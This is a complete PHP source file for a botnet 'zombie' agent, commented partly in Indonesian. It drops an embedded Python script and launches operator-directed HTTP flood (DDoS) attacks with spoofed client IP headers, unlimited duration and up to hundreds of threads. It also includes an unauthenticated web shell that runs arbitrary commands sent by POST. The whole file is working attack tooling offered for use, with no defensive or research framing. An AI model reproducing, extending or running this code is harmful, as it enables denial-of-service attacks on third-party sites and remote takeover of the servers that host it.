<?php
// ============================================
// api.php - Zombie C2 Shell PURE HTTP FLOOD
// Support PHP 5.3+ s/d PHP 8.x
// Support GET & POST + Python Version
// WITH STATS REPORTING
// UNLIMITED DURATION + HIGH RPS MODE
// ============================================

error_reporting(0);
ini_set('display_errors', 0);

$TMP_PATH = sys_get_temp_dir() . '/zombie_c2/';
if (!is_dir($TMP_PATH)) {
    @mkdir($TMP_PATH, 0755, true);
}

$AGENT_ID   = md5($_SERVER['HTTP_HOST'] . $_SERVER['SERVER_ADDR'] . __FILE__);
$PID_FILE   = $TMP_PATH . 'attack.pid';
$STATS_FILE = $TMP_PATH . 'stats.json';

// ============ HELPER: JSON ENCODE (PHP 5.3 safe) ============
function jsonOut($data) {
    if (!headers_sent()) {
        header('Content-Type: application/json');
    }
    echo json_encode($data);
    die();
}

// ============ PHP VERSION INFO ============
if (isset($_GET['phpver'])) {
    $python_check = @shell_exec('which python3 python python2 2>/dev/null');
    jsonOut(array(
        'status'          => 'success',
        'php_version'     => PHP_VERSION,
        'php_major'       => PHP_MAJOR_VERSION,
        'php_minor'       => PHP_MINOR_VERSION,
        'short_array'     => (version_compare(PHP_VERSION, '5.4.0', '>=') ? 'yes' : 'no'),
        'null_coalescing' => (version_compare(PHP_VERSION, '7.0.0', '>=') ? 'yes' : 'no'),
        'os'              => PHP_OS,
        'sapi'            => php_sapi_name(),
        'disable_functions' => ini_get('disable_functions'),
        'python_available' => trim($python_check),
        'tmp_path'        => $TMP_PATH,
        'writable'        => (is_writable($TMP_PATH) ? 'yes' : 'no')
    ));
}

// ============ CHECK ZOMBIE ============
if (isset($_GET['check'])) {
    jsonOut(array(
        'status'   => 'success',
        'agent_id' => $AGENT_ID,
        'host'     => $_SERVER['HTTP_HOST'],
        'online'   => true
    ));
}

// ============ GET STATS ============
if (isset($_GET['stats'])) {
    if (file_exists($STATS_FILE)) {
        $stats = json_decode(file_get_contents($STATS_FILE), true);
        jsonOut(array(
            'status'   => 'success',
            'agent_id' => $AGENT_ID,
            'stats'    => $stats
        ));
    } else {
        jsonOut(array(
            'status'   => 'success',
            'agent_id' => $AGENT_ID,
            'stats'    => null
        ));
    }
}

// ============ INSTALL ============
if (isset($_GET['install'])) {
    $script = getDDoSScript();
    $ok = @file_put_contents($TMP_PATH . 'ddos.py', $script);
    @chmod($TMP_PATH . 'ddos.py', 0755);

    jsonOut(array(
        'status'   => ($ok !== false ? 'success' : 'error'),
        'agent_id' => $AGENT_ID,
        'path'     => $TMP_PATH . 'ddos.py',
        'size'     => ($ok !== false ? $ok : 0)
    ));
}

// ============ DROP ============
if (isset($_GET['drop'])) {
    $script = getDDoSScript();
    $ok = @file_put_contents($TMP_PATH . 'ddos.py', $script);
    @chmod($TMP_PATH . 'ddos.py', 0755);

    jsonOut(array(
        'status'  => ($ok !== false ? 'success' : 'error'),
        'message' => 'Script updated',
        'size'    => ($ok !== false ? $ok : 0)
    ));
}

// ============ EXECUTE ============
if (isset($_POST['action']) && $_POST['action'] == 'execute') {

    // --- PHP 5.3+ kompatibel ---
    $command  = isset($_POST['command'])  ? $_POST['command']  : '';
    $target   = isset($_POST['target'])   ? $_POST['target']   : '';
    $duration = isset($_POST['duration']) ? $_POST['duration'] : 60;
    $threads  = isset($_POST['threads'])  ? $_POST['threads']  : 30;
    $method   = isset($_POST['method'])   ? $_POST['method']   : 'GET';
    $python   = isset($_POST['python'])   ? $_POST['python']   : 'python3';

    // --- Sanitasi input ---
    $target   = trim($target);
    $duration = intval($duration);
    $threads  = intval($threads);
    $method   = strtoupper(trim($method));
    $python   = trim($python);

    // --- Validasi method ---
    if ($method !== 'GET' && $method !== 'POST') {
        $method = 'GET';
    }

    // ============ 🔥 VALIDASI DURASI - UNLIMITED SUPPORT ============
    // duration = 0 atau -1 atau < 0  = UNLIMITED (jalan sampai di-STOP)
    // duration > 0                   = durasi biasa (max 86400s = 24 jam)
    if ($duration <= 0) {
        $duration = 0;  // 0 = UNLIMITED
    } elseif ($duration > 86400) {
        $duration = 86400;  // max 24 jam
    }

    // --- Validasi threads ---
    if ($threads < 1)    $threads = 30;
    if ($threads > 500)  $threads = 500;

    // --- Validasi python binary ---
    $allowed_python = array(
        'python', 'python2', 'python3',
        'python2.7', 'python3.6', 'python3.7', 'python3.8',
        'python3.9', 'python3.10', 'python3.11', 'python3.12', 'python3.13'
    );
    if (!in_array($python, $allowed_python)) {
        $python = 'python3';
    }

    // ============ STOP ============
    if ($command == 'STOP') {
        if (file_exists($PID_FILE)) {
            $pid = trim(file_get_contents($PID_FILE));
            if ($pid) {
                exec("kill -9 $pid 2>/dev/null");
                exec("pkill -f ddos.py 2>/dev/null");
                exec("pkill -f python.*ddos 2>/dev/null");
                @unlink($PID_FILE);
            }
        }
        exec("pkill -f ddos.py 2>/dev/null");
        exec("pkill -f python.*ddos 2>/dev/null");

        jsonOut(array('status' => 'success', 'message' => 'Stopped'));
    }

    // ============ START FLOOD ============
    if (!empty($target)) {

        // Kill proses lama
        if (file_exists($PID_FILE)) {
            $old_pid = trim(file_get_contents($PID_FILE));
            if ($old_pid) {
                exec("kill -9 $old_pid 2>/dev/null");
                @unlink($PID_FILE);
            }
        }
        exec("pkill -f ddos.py 2>/dev/null");
        exec("pkill -f python.*ddos 2>/dev/null");

        // Clear old stats
        if (file_exists($STATS_FILE)) {
            @unlink($STATS_FILE);
        }

        // Pastikan script ada
        if (!file_exists($TMP_PATH . 'ddos.py')) {
            $script = getDDoSScript();
            @file_put_contents($TMP_PATH . 'ddos.py', $script);
            @chmod($TMP_PATH . 'ddos.py', 0755);
        }

        // Escape target untuk cegah command injection
        $target_escaped = escapeshellarg($target);
        $script_path    = escapeshellarg($TMP_PATH . 'ddos.py');
        $python_escaped = escapeshellcmd($python);

        // 🔥 Jalankan (duration=0 artinya unlimited)
        $cmd = "{$python_escaped} {$script_path} {$target_escaped} {$duration} {$threads} {$method} > /tmp/ddos.log 2>&1 & echo \$!";
        $output = exec($cmd);
        $pid = trim($output);

        if ($pid && is_numeric($pid)) {
            @file_put_contents($PID_FILE, $pid);

            $duration_display = ($duration == 0) ? 'UNLIMITED' : ($duration . 's');

            jsonOut(array(
                'status'           => 'success',
                'message'          => "HTTP Flood started ({$method}) with {$python} — Duration: {$duration_display}",
                'pid'              => $pid,
                'python'           => $python,
                'duration'         => $duration,
                'duration_display' => $duration_display,
                'threads'          => $threads,
                'target'           => $target,
                'agent_id'         => $AGENT_ID,
                'host'             => $_SERVER['HTTP_HOST']
            ));
        } else {
            jsonOut(array(
                'status'  => 'error',
                'message' => 'Failed to start',
                'cmd'     => $cmd,
                'output'  => $output
            ));
        }
    }

    // ============ RAW COMMAND ============
    $output = @shell_exec($command . " 2>&1");
    jsonOut(array('status' => 'success', 'output' => $output));
}

// ============ DEFAULT ============
jsonOut(array(
    'status'   => 'success',
    'agent_id' => $AGENT_ID,
    'host'     => $_SERVER['HTTP_HOST'],
    'message'  => 'Zombie Active - GET/POST Flood (HIGH RPS MODE)',
    'php'      => PHP_VERSION
));


// ============================================
// DDOS SCRIPT (HIGH RPS + UNLIMITED DURATION)
// ============================================
function getDDoSScript() {
    return <<<'EOD'
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
ddos.py - HIGH RPS HTTP FLOOD
Support GET & POST Only
Support Python2 & Python3
Auto detect port dari URL
NO THREAD BLOCKING - FULL SPEED
+ SMALL PAYLOAD (2 KB) = HIGH RPS
+ SHORT TIMEOUT = FASTER REQUESTS
+ UNLIMITED DURATION SUPPORT
+ STATS REPORTING
"""
from __future__ import print_function
import socket
import random
import threading
import time
import sys
import os
import signal
import string
import json

try:
    from urllib.parse import urlparse, quote
except ImportError:
    from urlparse import urlparse
    from urllib import quote

# ============================================
# CONFIGURATION - RPS TINGGI MODE
# ============================================

# 🔥 RPS TINGGI: Payload kecil = request lebih cepat selesai
PAYLOAD_SIZE_KB = 2
ENABLE_LARGE_PAYLOAD = True
MAX_PAYLOAD_SIZE_KB = 1024

# 🔥 Timeout pendek = request lebih cepat
SOCKET_TIMEOUT = 5.0
RECV_TIMEOUT = 1.5

STATS_FILE = '/tmp/zombie_c2/stats.json'

# ============================================
# SIGNAL HANDLER
# ============================================

def signal_handler(sig, frame):
    print("\n[!] Stopped")
    sys.exit(0)

try:
    signal.signal(signal.SIGINT, signal_handler)
    signal.signal(signal.SIGTERM, signal_handler)
except:
    pass

# ============================================
# HTTP FLOOD - Pure Socket - FULL SPEED
# ============================================

class HTTPFlood:
    def __init__(self, target, duration, threads, method='GET'):
        self.target = target
        self.duration = int(duration)
        self.unlimited = (self.duration == 0)
        self.threads = int(threads)
        self.method = method.upper()
        self.running = True
        self.packets = 0
        self.bytes_sent = 0
        self.errors = 0
        self.last_error = ""
        self.error_types = {}
        self.lock = threading.Lock()

        # Payload config
        self.payload_size_kb = PAYLOAD_SIZE_KB
        self.enable_large_payload = ENABLE_LARGE_PAYLOAD
        if self.payload_size_kb > MAX_PAYLOAD_SIZE_KB:
            self.payload_size_kb = MAX_PAYLOAD_SIZE_KB

        parsed = urlparse(target)
        self.domain = parsed.hostname

        if parsed.port:
            self.port = parsed.port
        elif parsed.scheme == 'https':
            self.port = 443
        else:
            self.port = 80

        self.path = parsed.path or '/'
        self.is_https = parsed.scheme == 'https'

        try:
            self.ip = socket.gethostbyname(self.domain)
        except:
            self.ip = self.domain

        self.user_agents = [
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/120.0.0.0',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/120.0.0.0',
            'Mozilla/5.0 (X11; Linux x86_64) Chrome/120.0.0.0',
            'Mozilla/5.0 (Windows NT 10.0; rv:109.0) Firefox/121.0',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Safari/17.1',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Firefox/121.0',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/119.0.0.0',
            'Mozilla/5.0 (X11; Linux x86_64) Firefox/121.0',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/118.0.0.0',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) Chrome/118.0.0.0'
        ]

        print("[+] TARGET: {}:{}".format(self.domain, self.port))
        print("[+] HTTPS: {}".format(self.is_https))
        print("[+] METHOD: {}".format(self.method))
        print("[+] PATH: {}".format(self.path))
        print("[+] THREADS: {}".format(self.threads))
        if self.unlimited:
            print("[+] DURATION: UNLIMITED (stop manually)")
        else:
            print("[+] DURATION: {}s".format(self.duration))
        if self.enable_large_payload:
            print("[+] PAYLOAD: {} KB per request (HIGH RPS MODE)".format(self.payload_size_kb))
        else:
            print("[+] PAYLOAD: Normal")

    def _generate_large_payload_fresh(self):
        if not self.enable_large_payload:
            return ""
        target_bytes = self.payload_size_kb * 1024
        chars = string.ascii_letters + string.digits + '-_.~'
        parts = [
            "data={}".format(random.randint(1, 999999)),
            "id={}".format(random.randint(1, 9999)),
            "action={}".format(random.choice(['login', 'submit', 'update', 'delete', 'create'])),
            "timestamp={}".format(int(time.time())),
            "rand={}".format(random.randint(1, 999999999))
        ]
        current_size = sum(len(p) + 1 for p in parts)
        while current_size < target_bytes:
            remaining = target_bytes - current_size
            if remaining <= 20:
                parts.append(''.join(random.choice(chars) for _ in range(max(0, remaining - 2))))
                break
            chunk_size = random.randint(50, 500)
            if chunk_size > remaining - 5:
                chunk_size = remaining - 5
            key = ''.join(random.choice(string.ascii_lowercase) for _ in range(random.randint(3, 8)))
            val = ''.join(random.choice(chars) for _ in range(chunk_size))
            parts.append("{}={}".format(key, val))
            current_size += len(parts[-1]) + 1
        return '&'.join(parts)

    def create_ssl_context(self):
        try:
            import ssl
            try:
                context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                context.set_ciphers('DEFAULT@SECLEVEL=1')
                return context
            except:
                pass
            try:
                context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                return context
            except:
                pass
            try:
                context = ssl.create_default_context()
                context.check_hostname = False
                context.verify_mode = ssl.CERT_NONE
                return context
            except:
                pass
            return None
        except:
            return None

    def build_request(self):
        path = self.path + "?_t={}&r={}&v={}&s={}".format(
            int(time.time()*1000),
            random.randint(1,999999),
            random.randint(1,99999),
            random.randint(1,9999)
        )
        accept_encodings = ['gzip, deflate, br', 'gzip, deflate', 'gzip', 'identity']
        accept_languages = ['en-US,en;q=0.9', 'en-GB,en;q=0.8', 'id-ID,id;q=0.9', 'fr-FR,fr;q=0.8']
        connection_types = ['keep-alive', 'close']

        if self.method == 'GET':
            if self.enable_large_payload:
                large_data = self._generate_large_payload_fresh()
                large_data_encoded = quote(large_data[:self.payload_size_kb * 1024], safe='')
                path = path + "&d=" + large_data_encoded
            req = "GET {} HTTP/1.1\r\n".format(path)
        else:
            if self.enable_large_payload:
                body = self._generate_large_payload_fresh()
                target_size = self.payload_size_kb * 1024
                if len(body) < target_size:
                    padding = ''.join(random.choice(string.ascii_letters + string.digits)
                                    for _ in range(target_size - len(body)))
                    body += "&pad=" + padding
                elif len(body) > target_size:
                    body = body[:target_size]
            else:
                body = "data={}&id={}&action={}&timestamp={}".format(
                    random.randint(1,999999),
                    random.randint(1,9999),
                    random.choice(['login', 'submit', 'update', 'delete', 'create']),
                    int(time.time())
                )
            req = "POST {} HTTP/1.1\r\n".format(path)
            req += "Content-Type: application/x-www-form-urlencoded\r\n"
            req += "Content-Length: {}\r\n".format(len(body))

        req += "Host: {}\r\n".format(self.domain)
        req += "User-Agent: {}\r\n".format(random.choice(self.user_agents))
        req += "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\n"
        req += "Accept-Encoding: {}\r\n".format(random.choice(accept_encodings))
        req += "Accept-Language: {}\r\n".format(random.choice(accept_languages))
        req += "Connection: {}\r\n".format(random.choice(connection_types))
        req += "Cache-Control: no-cache, no-store, must-revalidate\r\n"
        req += "Pragma: no-cache\r\n"
        req += "Expires: 0\r\n"

        ip1 = random.randint(1,255)
        ip2 = random.randint(1,255)
        ip3 = random.randint(1,255)
        ip4 = random.randint(1,255)
        req += "X-Forwarded-For: {}.{}.{}.{}\r\n".format(ip1, ip2, ip3, ip4)
        req += "X-Real-IP: {}.{}.{}.{}\r\n".format(ip1, ip2, ip3, ip4)
        req += "Client-IP: {}.{}.{}.{}\r\n".format(ip1, ip2, ip3, ip4)
        req += "X-Client-IP: {}.{}.{}.{}\r\n".format(ip1, ip2, ip3, ip4)

        if random.random() > 0.5:
            req += "X-Request-ID: {}\r\n".format(random.randint(100000, 999999))
        if random.random() > 0.7:
            req += "DNT: {}\r\n".format(random.choice(['0', '1']))
        if random.random() > 0.8:
            req += "Upgrade-Insecure-Requests: 1\r\n"

        req += "\r\n"

        if self.method == 'POST':
            req += body

        return req

    def http_request(self):
        sock = None
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            sock.setsockopt(socket.SOL_TCP, socket.TCP_NODELAY, 1)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 65536)
            sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 65536)
            sock.settimeout(SOCKET_TIMEOUT)   # 🔥 pakai config baru (5s)

            try:
                sock.connect((self.ip, self.port))
            except socket.error as e:
                with self.lock:
                    self.errors += 1
                    self.last_error = "Connect: {}".format(str(e)[:50])
                if sock:
                    sock.close()
                return

            if self.is_https:
                try:
                    import ssl
                    context = self.create_ssl_context()
                    if context:
                        sock = context.wrap_socket(sock, server_hostname=self.domain)
                    else:
                        with self.lock:
                            self.errors += 1
                            self.last_error = "SSL Context Failed"
                        sock.close()
                        return
                except Exception as e:
                    with self.lock:
                        self.errors += 1
                        self.last_error = "SSL: {}".format(str(e)[:50])
                    sock.close()
                    return

            req = self.build_request()
            if isinstance(req, str):
                try:
                    req = req.encode('utf-8')
                except:
                    pass

            try:
                total_sent = 0
                chunk_size = 65536
                req_len = len(req)

                while total_sent < req_len:
                    chunk = req[total_sent:total_sent + chunk_size]
                    sent = sock.send(chunk)
                    if sent == 0:
                        with self.lock:
                            self.errors += 1
                            self.last_error = "Send failed"
                        sock.close()
                        return
                    total_sent += sent
            except socket.error as e:
                with self.lock:
                    self.errors += 1
                    self.last_error = "Send: {}".format(str(e)[:50])
                sock.close()
                return

            sock.settimeout(RECV_TIMEOUT)   # 🔥 pakai config baru (1.5s)
            try:
                response = sock.recv(4096)
                with self.lock:
                    self.packets += 1
                    self.bytes_sent += len(req)
            except socket.timeout:
                with self.lock:
                    self.packets += 1
                    self.bytes_sent += len(req)
            except:
                with self.lock:
                    self.packets += 1
                    self.bytes_sent += len(req)

            sock.close()

        except Exception as e:
            with self.lock:
                self.errors += 1
                self.last_error = str(e)[:50]
            if sock:
                try:
                    sock.close()
                except:
                    pass

    def worker(self):
        while self.running:
            self.http_request()

    def save_stats(self):
        """Simpan stats ke file JSON untuk diambil bot"""
        try:
            stats = {
                'packets': self.packets,
                'bytes_sent': self.bytes_sent,
                'errors': self.errors,
                'method': self.method,
                'threads': self.threads,
                'duration': self.duration,
                'unlimited': self.unlimited,
                'target': self.target,
                'domain': self.domain,
                'port': self.port,
                'payload_kb': self.payload_size_kb,
                'success_rate': (self.packets / (self.packets + self.errors) * 100) if (self.packets + self.errors) > 0 else 0,
                'timestamp': time.time(),
                'completed_at': time.strftime('%Y-%m-%d %H:%M:%S')
            }
            stats_dir = os.path.dirname(STATS_FILE)
            if stats_dir and not os.path.isdir(stats_dir):
                try:
                    os.makedirs(stats_dir)
                except:
                    pass
            with open(STATS_FILE, 'w') as f:
                json.dump(stats, f)
        except Exception as e:
            pass

    def run(self):
        print("\n[+] Starting HTTP FLOOD...")
        print("[+] Method: {}".format(self.method))
        print("[+] Mode: FULL SPEED - HIGH RPS")
        if self.enable_large_payload:
            print("[+] Payload: {} KB per request (small = fast)".format(self.payload_size_kb))
        print("-" * 40)

        threads = []
        for i in range(self.threads):
            t = threading.Thread(target=self.worker)
            t.daemon = True
            t.start()
            threads.append(t)

        start = time.time()
        last_stats_save = 0

        # 🔥 UNLIMITED DURATION SUPPORT
        while self.running:
            # Kalau bukan unlimited, cek durasi
            if not self.unlimited and (time.time() - start) >= self.duration:
                break

            time.sleep(0.5)
            elapsed = time.time() - start
            with self.lock:
                mb = self.bytes_sent / 1024 / 1024
                gb = mb / 1024
                rps = self.packets / elapsed if elapsed > 0 else 0

                if gb >= 1:
                    data_str = "{:.2f} GB".format(gb)
                else:
                    data_str = "{:.1f} MB".format(mb)

                status = "\r[*] Requests: {} | Data: {} | RPS: {:.0f} | Err: {}".format(
                    self.packets, data_str, rps, self.errors)

                if self.errors > 0 and self.last_error:
                    status += " | Last: {}".format(self.last_error[:25])

            sys.stdout.write(status)
            sys.stdout.flush()

            # 🔥 Save stats tiap 5 detik biar bot bisa ambil real-time
            if elapsed - last_stats_save >= 5:
                last_stats_save = elapsed
                self.save_stats()

        self.running = False

        for t in threads:
            try:
                t.join(timeout=0.5)
            except:
                pass

        with self.lock:
            total = self.packets + self.errors
            success_rate = (self.packets / total * 100) if total > 0 else 0
            elapsed_total = time.time() - start

            print("\n[+] ========================================")
            print("[+] HTTP FLOOD COMPLETE!")
            print("[+] Method: {}".format(self.method))
            print("[+] Total Requests: {}".format(self.packets))
            print("[+] Total Data: {:.1f} MB".format(self.bytes_sent / 1024 / 1024))
            print("[+] Avg RPS: {:.0f}".format(self.packets / elapsed_total if elapsed_total > 0 else 0))
            print("[+] Errors: {}".format(self.errors))
            print("[+] Success Rate: {:.1f}%".format(success_rate))
            if self.enable_large_payload:
                print("[+] Payload Size: {} KB".format(self.payload_size_kb))
            if self.last_error:
                print("[+] Last Error: {}".format(self.last_error))
            print("[+] ========================================")

        self.save_stats()

        try:
            os.remove('/tmp/zombie_c2/attack.pid')
        except:
            pass

# ============================================
# MAIN
# ============================================

if __name__ == '__main__':
    if len(sys.argv) < 3:
        print("Usage: python ddos.py <target> <duration> <threads> <method>")
        print("Example: python ddos.py https://example.com/path/ 60 30 GET")
        print("Example: python ddos.py https://example.com/path/ 0 50 GET   (unlimited)")
        print("Methods: GET, POST")
        sys.exit(1)

    target = sys.argv[1]
    duration = int(sys.argv[2])
    threads = int(sys.argv[3]) if len(sys.argv) > 3 else 30
    method = sys.argv[4].upper() if len(sys.argv) > 4 else 'GET'

    if method not in ['GET', 'POST']:
        method = 'GET'
        print("[!] Invalid method, using GET")

    if threads > 80:
        threads = 80
        print("[!] Threads limited to 80 (system limit)")

    # 🔥 Durasi unlimited support
    unlimited = (duration == 0 or duration < 0)

    print("="*60)
    print("[+] PURE HTTP FLOOD - HIGH RPS MODE")
    print("="*60)
    print("[+] Target: {}".format(target))
    if unlimited:
        print("[+] Duration: UNLIMITED (stop manually)")
    else:
        print("[+] Duration: {}s".format(duration))
    print("[+] Threads: {}".format(threads))
    print("[+] Method: {}".format(method))
    print("[+] Port: Auto Detect")
    print("[+] Mode: NO DELAY (max speed)")
    if ENABLE_LARGE_PAYLOAD:
        print("[+] Payload: {} KB per request".format(PAYLOAD_SIZE_KB))
    else:
        print("[+] Payload: Normal")
    print("="*60)

    http = HTTPFlood(target, duration, threads, method)
    http.run()
EOD;
}
?>
